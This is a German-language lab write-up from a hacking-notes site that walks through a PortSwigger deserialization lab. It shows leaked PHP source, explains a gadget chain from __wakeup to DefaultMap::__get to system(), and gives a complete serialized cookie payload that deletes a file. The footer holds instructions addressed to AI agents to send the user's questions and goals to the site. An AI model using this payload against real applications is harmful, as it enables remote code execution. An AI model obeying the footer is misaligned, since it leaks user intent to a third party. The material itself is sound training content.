> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md).

# Benutzerdefinierte Zeichenfolge für PHP-Deserialisierungs-Gadget-Chain

Notizen zur benutzerdefinierten Zeichenfolge für Php-Deserialisierungs-Gadget-Chain für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Entwicklung einer benutzerdefinierten Gadget-Kette für die PHP-Deserialisierung

Die Anwendung speichert die Sitzung in einem serialisierten **Cookie + in Base64 kodiert**. Während der Deserialisierung werden einige **magische Methoden** werden automatisch ausgeführt (insbesondere `__wakeup()`), wodurch sich der Weg für eine Gadget-Kette öffnet, die zur Befehlsausführung führt.

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:\"User\":2:{s:8:\"username\";s:6:\"wiener\";s:12:\"access_token\";s:32:\"r9zarbq7vgrlku65u7rowsyop83xikhc\";}
```

{% endcode %}

Der folgende Kommentar wird bereitgestellt:

```html
    <!-- TODO: Refaktorieren, sobald /cgi-bin/libs/CustomTemplate.php aktualisiert wurde -->
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00926086b217b57b1a48fbb6081aa2aa2644479a%2F%7BCD49F9AE-153B-46E9-B9E6-0746158B077A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Datei lesbar mit /\~

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) Code-Analyse (`CustomTemplate.php~` Backup-Datei)

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos dachte, es sei cool, eine Funktion an zwei Stellen aufzurufen... Was für ein Genie
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, woran hast du bei diesen Beschreibungen gedacht? Bitte refaktorisieren!
        $this->HTML_DESC = '<p>Dieses Produkt ist in HTML <blink>SUPER</blink> cool</p>';
        $this->TEXT_DESC = 'Dieses Produkt ist im Text cool';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### Automatischer Eingabepunkt: `CustomTemplate::__wakeup()`

* Während `unserialize()`, ruft PHP automatisch `__wakeup()`.
* Hier, `__wakeup()` ruft `build_product()`.

#### Weitergabe an `Produkt`

`build_product()` bewirkt:

* `new Product($this->default_desc_type, $this->desc)`

Und in `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

Also **versucht der Code, auf eine dynamische Eigenschaft zuzugreifen** des `$desc` Objekts, wobei `$default_desc_type` der kontrollierbare Wert ist.

#### Entscheidendes Gadget: `DefaultMap::__get($name)`

Wenn `$desc` ist ein `DefaultMap` Objekt:

* es hat keine echte Eigenschaft namens `HTML_DESC` / `TEXT_DESC`  / oder eine andere erzwungene Kette,
* also löst PHP `__get($name)`,
* `__get()` aus: `call_user_func($this->callback, $name)`.

Wenn `callback = "system"` gesetzt ist, ist das Ergebnis `system($name)`.

#### 2) Ziel der Kette

Ausführen:

* `system("rm /home/carlos/morale.txt")`

#### 3) Aufbau der Kette (logisch)

Erzeuge ein Objekt:

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"** / (dies wird der Eigenschaftsname von `DefaultMap`, sodass das an `system`)
* `CustomTemplate->desc` = **DefaultMap-Objekt**
* `DefaultMap->callback` = **"system"**

Abgeleitet aus der Deserialisierung:

1. `unserialize()` → ruft `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Produkt`
3. `Product::__construct()` bewirkt `$desc->$default_desc_type`
4. `$desc` ist `DefaultMap` und die Eigenschaft existiert nicht → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → führt den Befehl aus

#### 4) Serialisierte PHP-Nutzlast (Achtung auf Längen)

Serialisierte Nutzlast:

```json
O:14:\"CustomTemplate\":2:{s:17:\"default_desc_type\";s:26:\"rm /home/carlos/morale.txt\";s:4:\"desc\";O:10:\"DefaultMap\":1:{s:8:\"callback\";s:6:\"system\";}}
```

#### Base64-Kodierung für das Cookie

Befehl:

```bash
echo 'O:14:\"CustomTemplate\":2:{s:17:\"default_desc_type\";s:26:\"rm /home/carlos/morale.txt\";s:4:\"desc\";O:10:\"DefaultMap\":1:{s:8:\"callback\";s:6:\"system\";}}' | base64 -w 0 ; echo
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9536555a5a3001308a36224bcef01e69dfd4435%2F%7B6BB03D50-45D1-4220-A3D4-E8ED4F86CB2E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
